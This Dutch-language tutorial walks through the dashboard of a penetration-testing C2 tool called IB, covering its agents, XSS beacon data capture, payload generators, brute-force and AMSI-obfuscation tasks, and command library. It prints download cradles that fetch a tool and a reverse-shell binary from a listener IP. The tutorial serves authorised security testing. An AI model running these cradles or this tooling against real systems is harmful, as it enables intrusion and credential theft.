Het IB Dashboard: Complete Rondleiding
Het Incompetent Bastard (IB) dashboard is het centrale commandocentrum tijdens een penetratietest. Vanuit dit enkele web-interface beheer je agents, bekijk je verzamelde data, genereer je payloads, doorzoek je commando’s en houd je bevindingen bij. In deze tutorial doorlopen we elke sectie van het dashboard en laten we zien hoe je de verschillende functies effectief gebruikt.
Deze tutorial is uitsluitend bedoeld voor gebruik in geautoriseerde testomgevingen.
Vereisten
- Een draaiende IB instance op
http://127.0.0.1:5000 - De installatiestappen uit de tutorial “Installatie en Eerste Stappen” voltooid
- Een moderne webbrowser (Chrome, Firefox of Edge)
- Basiskennis van penetratietesten
IB – Open het dashboard op
http://127.0.0.1:5000/ en houd het naast deze tutorial open
zodat je elke sectie direct kunt bekijken.
Stap 1: De KPI-rij
Bovenaan het dashboard staat een rij van vijf KPI-panelen die een directe samenvatting geven van de status van je pentest:
Active Agents
Toont het aantal C2-agents dat momenteel terugbelt naar IB. Agents
worden aangemaakt via de Agent Generator en communiceren via het
/agent/checkin endpoint. Een agent heeft drie mogelijke
statussen:
- Active (groen) – Laatste heartbeat binnen 30 seconden
- Idle (geel) – Laatste heartbeat tussen 30 seconden en 5 minuten
- Dead (rood) – Geen heartbeat langer dan 5 minuten
Hooked Clients
Het aantal browsers dat via de XSS-beacon (/x.js)
verbonden is met IB. Elke gehoekte browser stuurt automatisch cookies,
toetsaanslagen en localStorage naar het dashboard.
Findings
Het totaal aantal geregistreerde bevindingen in de database. Bevindingen worden aangemaakt via het findings-formulier en bevatten OWASP-classificatie, CVSS-score en severity-niveau.
Notes
Het aantal operatornotities. Notes zijn snelle aantekeningen die je tijdens de pentest maakt. Elke notitie heeft een optie om opgenomen te worden in het rapport.
Commands
Het totaal aantal beschikbare commando-bestanden in de
/http/commands/ directory. Standaard bevat IB meer dan 460
commando’s.
IB – De KPI-panelen worden bijgewerkt bij elke paginalading. Agent-data wordt daarnaast live gepolld via JavaScript.
Stap 2: Active Agents Panel
Direct onder de KPI-rij staat het Active Agents panel. Dit toont een overzichtstabel van alle geregistreerde agents met de volgende kolommen:
- Hostname – De computernaam van het doelsysteem
- User – De gebruiker onder wiens context de agent draait
- OS – Besturingssysteem-informatie
- IP – Het IP-adres waarvandaan de agent belt
- Script – Het type agent (bash, powershell, python, etc.)
- Last Seen – Tijd sinds de laatste heartbeat
- Status – Active, idle of dead
Live polling
Het agents panel wordt elke 5 seconden automatisch bijgewerkt via een
JavaScript fetch naar /api/agents. Dit gebeurt via
dashboard-modern.js, zonder dat de pagina opnieuw geladen
hoeft te worden.
Agent interactie
Klik op een agent om het agent-detail scherm te openen op
/dashboard/agents. Van daaruit kun je:
- Commando’s naar de agent sturen via
/api/agents/<agent_id>/command - De commandogeschiedenis bekijken via
/api/agents/<agent_id>/history - De agent verwijderen via een DELETE request
# Voorbeeld: commando naar agent sturen via API
curl -X POST http://127.0.0.1:5000/api/agents/abc123/command \
-H "Content-Type: application/json" \
-d '{"command": "whoami"}'De agent haalt het commando op via
/agent/cmd/<agent_id> en stuurt het resultaat terug
via /agent/res/<cmd_id>.
IB – Elke agent-sessie wordt automatisch opgenomen
als een asciinema recording in meuk/logs/. Je kunt deze
later terugkijken via /dashboard/recordings.
Stap 3: Quick Actions
De Quick Actions sectie bevat knoppen die direct naar de payload-generators leiden. Elke knop opent een specifiek generatorformulier:
| Knop | Route | Doel |
|---|---|---|
| Macro | /dashboard/macro |
VBA Office macro met shellcode |
| Meterpreter | /dashboard/meterpreter |
XOR-encrypted C# meterpreter |
| PowerShell | /dashboard/powershell |
PowerShell download cradles |
| ASP.NET Shell | /dashboard/aspxshell |
ASPX webshell voor IIS |
| PHP Shell | /dashboard/phpshell |
PHP reverse shell |
| HTA | /dashboard/hta |
HTML Application payload |
| Linux ELF | /dashboard/linux_elf |
ELF reverse shell binary |
| MSI | /dashboard/msi_payload |
Windows Installer payload |
| Python RevShell | /dashboard/pyrevshell |
Python reverse shell |
| Shellcode Injector | /dashboard/invokeshellcode |
PowerShell shellcode-injectie |
| Agent Generator | /dashboard/agentgen |
C2-agents in 7 programmeertalen |
Elke generator gebruikt het IP-adres uit de Settings (localhost URL) als standaard callback-adres.
Stap 4: Operator Snippets
De Operator Snippets sectie bevat veelgebruikte commando’s die je snel kunt kopieren. Dit zijn vooraf geconfigureerde one-liners voor taken die je regelmatig uitvoert tijdens een pentest, zoals het opzetten van listeners of het downloaden van tools op een doelsysteem.
Snippets worden dynamisch gegenereerd op basis van je localhost URL uit de settings. Wanneer je het IP-adres wijzigt, worden alle snippets automatisch bijgewerkt.
Stap 5: Web Telemetry
De Web Telemetry sectie geeft een compact overzicht van data die binnenkomt via de kwetsbaarheidslabs. Het toont tellingen voor:
- XSS hooks – Aantal gehoekte browsers via de beacon
- XXE callbacks – Aantal out-of-band data-exfiltratie events
- CSRF captures – Aantal ontvangen CSRF-payloads
- SQLi results – Aantal gelogde SQL injection resultaten
- SSRF hits – Aantal SSRF-redirecties die zijn getriggerd
Klik op een van deze items om naar het betreffende sub-dashboard te navigeren.
Sub-dashboards
Elk kwetsbaarheidslab heeft zijn eigen dashboard:
| Dashboard | Route | Doel |
|---|---|---|
| XSS | /dashboard/xxs |
Cookies, keylogger, localStorage, C2 |
| XXE | /dashboard/xxe |
Out-of-band data collectie |
| CSRF | /dashboard/csrf |
Cross-Site Request Forgery captures |
| SQLi | /dashboard/sqli |
SQL injection logging |
| SSRF | /dashboard/ssrf |
Server-Side Request Forgery |
IB – De telemetrie-data wordt opgeslagen in de SQLite database. Elk sub-dashboard toont gedetailleerde informatie per client-IP, inclusief timestamps.
Stap 6: Findings Panel
Het findings panel toont de meest recente bevindingen met kleurcodering op basis van severity:
- Critical – Rood, CVSS 9.0-10.0
- High – Oranje, CVSS 7.0-8.9
- Medium – Geel, CVSS 4.0-6.9
- Low – Groen, CVSS 0.1-3.9
Findings beheren
Het volledige findings-overzicht is bereikbaar via
/dashboard/findings. Van daaruit kun je:
- Nieuwe bevindingen aanmaken met OWASP-classificatie en CVSS-score
- Bevindingen bewerken, inclusief status (draft/final) en remediation tracking
- Bevindingen verwijderen
- Een rapport genereren via pandoc (als pandoc geinstalleerd is)
Elke bevinding bevat velden voor:
- Naam en beschrijving
- OWASP Top 10 categorie
- CVSS 4.0 score
- Affected assets en business impact
- Remediation status, eigenaar en deadline
- Evidence (screenshots en bestanden)
- Data classificatie
IB – Gebruik de status “draft” terwijl je nog aan een bevinding werkt. Zet de status op “final” als de bevinding compleet is en klaar voor het rapport.
Stap 7: Notes Panel
Het notes panel toont je operatornotities. Notes zijn bedoeld als snelle aantekeningen tijdens de pentest. Elke note heeft:
- Een titel en inhoud
- Een toggle “Opnemen in rapport” (include_in_report)
- Een timestamp
Het volledige notes-overzicht is bereikbaar via
/dashboard/notes. Je kunt notes ook aanmaken vanuit de
Command Library door een commando op te slaan als note.
Stap 8: Command Library
De Command Library is een van de krachtigste onderdelen van IB. Het
bevat meer dan 460 pre-built commando’s, georganiseerd in categorieen.
De library is bereikbaar onderaan het dashboard of via
/dashboard/commands.
Zoeken en filteren
Bovenaan de Command Library staat een zoekbalk. Typ een trefwoord om commando’s te filteren op naam of categorie. Voorbeelden:
- Typ
kerbom alle Kerberos-gerelateerde commando’s te vinden - Typ
adcsvoor Certificate Services exploits - Typ
lateralvoor lateral movement technieken - Typ
get_om alle tool-download commando’s te vinden
Kopieren en injecteren
Elk commando heeft twee knoppen:
- Copy – Kopieert de inhoud naar het klembord
- Save as Note – Slaat het commando op als operatornotitie
Daarnaast kun je commando’s direct injecteren in actieve screen sessies via de inject-functie. De API hiervoor is:
curl -X POST http://127.0.0.1:5000/api/commands/inject \
-H "Content-Type: application/json" \
-d '{"screen": "metasploit", "command": "kerb_kerberoast"}'String substitutie
Commando’s bevatten placeholders zoals YOURIP,
YOURDOMAIN en TARGET. Bij het kopieren of
injecteren kun je deze vervangen door de werkelijke waarden. De
inject-API ondersteunt een replacements array:
curl -X POST http://127.0.0.1:5000/api/commands/inject \
-H "Content-Type: application/json" \
-d '{
"screen": "metasploit",
"command": "kerb_kerberoast",
"replacements": [
{"find": "YOURDOMAIN", "replace": "corp.local"},
{"find": "YOURIP", "replace": "10.10.14.5"}
]
}'IB – De Command Library wordt geladen via
/api/commands, dat alle bestanden uit
/http/commands/ leest. Nieuwe commando’s die je aan die
directory toevoegt verschijnen automatisch.
Stap 9: Evidence Gallery
De Evidence Gallery toont screenshots die zijn opgeslagen in
raw/screenshots/. Deze worden geserveerd via
/api/screenshots en weergegeven in een galerij-formaat op
het dashboard.
Op macOS stelt het init-script automatisch de screenshot-locatie in
op raw/screenshots/. Op andere systemen kun je handmatig
screenshots naar deze directory kopieren.
Ondersteunde bestandsformaten: PNG, JPG, JPEG, GIF, BMP, WebP en SVG.
Stap 10: Files en Downloads
Het bestandsbeheer is bereikbaar via /dashboard/files.
Dit toont drie categorieen:
| Categorie | Directory | URL-prefix | Doel |
|---|---|---|---|
| Tools Mini | http/tools/mini/ |
/tm/ |
Compacte pentest-tools |
| Tools | http/tools/ |
/t/ |
Volledige pentest-tools |
| Payloads | http/payloads/ |
/p/ |
Gegenereerde payloads |
Bestanden zijn ook bereikbaar via korte URL’s voor gebruik in download-cradles:
# PowerShell download van tool
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:5000/t/linpeas.sh')
# Korte URL voor payload
wget http://10.10.14.5:5000/p/shell_443.elf -O /tmp/shellDe API op /api/files retourneert een JSON-overzicht van
alle beschikbare bestanden, inclusief bestandsgrootte en of een preview
beschikbaar is.
IB – Downloads zijn standaard beperkt tot localhost.
Stel PUBLIC_DOWNLOADS=true in of activeer “Public
Downloads” in de settings om downloads vanaf andere IP-adressen toe te
staan.
Stap 11: Task Runner
De Task Runner op /dashboard/tasks biedt een veilige
manier om vooraf goedgekeurde commando’s uit te voeren. Alleen
commando’s die in de allowlist staan kunnen worden gestart. De taken
zijn gegroepeerd per categorie:
- Development – Compile Python, run tests, git status
- Setup – Init environment, engage (VPN + Empire)
- Recon – Nmap scans, zoek resultaten, Kerberos enum, FTP checks
- Brute Force – SSH, RDP en VPN brute force, weak SSH keys
- Exploit – FTP ASP shell upload, RFI
- Network – SSHuttle tunnel
- Obfuscatie – AMSI signatures updaten, PowerShell obfuscatie
Taken worden asynchroon uitgevoerd in achtergrond-threads. De status
is te volgen via polling op
/api/tasks/runs/<run_id>.
# Start een taak via de API
curl -X POST http://127.0.0.1:5000/api/tasks/run \
-H "Content-Type: application/json" \
-d '{"task": "scan", "args": {"interface": "tun0", "naam": "lab", "hosts": "10.1.2.0/24"}}'Stap 12: Recordings
Op /dashboard/recordings vind je alle asciinema-opnames.
IB neemt automatisch agent-sessies op in .rec bestanden in
meuk/logs/. Daarnaast kun je screen sessies starten met
ingebouwde recording:
# Start een nieuwe screen sessie met recording via de API
curl -X POST http://127.0.0.1:5000/api/screen/start \
-H "Content-Type: application/json" \
-d '{"name": "pentest-1", "shell": "bash"}'De recordings zijn af te spelen via de ingebouwde asciinema-player in de browser.
Stap 13: Screen Terminal
Het Screen Terminal op /dashboard/screen biedt een
web-interface voor interactie met screen sessies. Je kunt:
- Actieve screen sessies bekijken via
/api/commands/screens - Commando’s naar een sessie sturen via
/api/screen/<name>/input - De huidige output lezen via
/api/screen/<name>/content(hardcopy) - Nieuwe sessies starten en detachen
Dit is bijzonder handig voor het aansturen van Metasploit of andere interactieve tools vanuit het dashboard.
Stap 14: Navigatie-overzicht
De sidebar bevat links naar alle sub-pagina’s. Hier is een compleet overzicht:
| Pagina | Route | Doel |
|---|---|---|
| Dashboard | / |
Command center overzicht |
| XSS Lab | /dashboard/xxs |
XSS beacon en data collectie |
| XXE Lab | /dashboard/xxe |
XXE out-of-band exfiltratie |
| CSRF Lab | /dashboard/csrf |
CSRF injection endpoints |
| SQLi Lab | /dashboard/sqli |
SQL injection logging |
| SSRF Lab | /dashboard/ssrf |
SSRF redirect endpoints |
| Files | /dashboard/files |
Bestandsbeheer (tools, payloads) |
| Findings | /dashboard/findings |
Bevindingenbeheer |
| Notes | /dashboard/notes |
Operatornotities |
| Tasks | /dashboard/tasks |
Taak runner |
| Agents | /dashboard/agents |
Agent detail overzicht |
| Recordings | /dashboard/recordings |
Asciinema opnames |
| Screen | /dashboard/screen |
Web-terminal voor screen sessies |
| Commands | /dashboard/commands |
Command Library |
| Checklists | /dashboard/checklists |
Audit checklists |
IB – Gebruik keyboard shortcuts in je browser om snel tussen tabs te wisselen. Open het dashboard, findings en de command library elk in een apart tabblad voor een efficiente workflow.
Samenvatting
In deze rondleiding hebben we alle secties van het IB dashboard doorlopen:
- De KPI-rij met realtime overzicht van agents, hooks, findings, notes en commands
- Het Active Agents panel met live polling en commandoverwerking
- Quick Actions voor directe toegang tot alle payload-generators
- Operator Snippets met dynamisch gegenereerde one-liners
- Web Telemetry voor overzicht van alle kwetsbaarheidslabs
- Het Findings panel met severity-kleurcodering en OWASP-classificatie
- Notes voor snelle operatoraantekeningen
- De Command Library met 460+ doorzoekbare commando’s en screen-injectie
- Evidence Gallery voor screenshot-beheer
- Files en Downloads voor tool- en payload-distributie
- De Task Runner voor veilige uitvoering van pentest-taken
- Recordings voor het terugkijken van agent- en screen-sessies
Het dashboard is ontworpen om alles wat je nodig hebt tijdens een pentest binnen handbereik te houden. Gebruik de sidebar-navigatie om snel te schakelen tussen de verschillende secties en houd het command center open als centraal overzichtspunt.